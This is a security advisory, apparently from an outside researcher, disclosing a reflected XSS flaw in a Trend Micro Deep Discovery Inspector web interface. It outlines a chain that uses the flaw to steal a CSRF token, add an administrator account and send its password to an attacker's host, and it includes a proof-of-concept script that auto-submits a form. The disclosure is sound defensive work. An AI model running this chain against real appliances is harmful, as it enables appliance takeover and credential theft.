
I've found a reflected XSS vulnerability in the management web interface of Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165 Vulnerable script path is /php/detection_detail_filter.php. This script is accessible only by an authenticated user, but this does not make vulnerabilty less serious, considering the attack scenario that follows below.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png confirms that ips[] parameter is vulnerable to html code injection.
This vulnerability can be used bypass CSRF protection, obtain CSRF token and successfulty conduct CSRF attack. Even complete takeover of the Deep Discovery Inspector aplliance may be accomplished using the following scenario:
1. User logged into the DDI web interface is inticed to visit malicius web page.
2. Malicious script on this page is launched using the XSS vulnerabilty in /php/detection_detail_filter.php
3. The script is getting CSRF token vip PUT request to /wsgi/csrf/get_token/
4. And then it uses the token obtained from the response to the prevoius request to add an account with administrator privileges
5. The password for the added account is obtained from response to the previous request.
6. Password can be transfered to attackers host via http request
Screen2.png shows the attack in action.
To reporduce the attack, you may use the following piece of code(ddi_ip variable should be changed acording to your DDI appliance's IP):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
This PoC code should be placed on attackers web server, and a link to this server should be opened by user(with admin permissions) logged in to DDI web interface. User may be enticed into clicking the link with the use of social engineering.
Trend Micro has provided the following solution: https://success.trendmicro.com/solution/1121079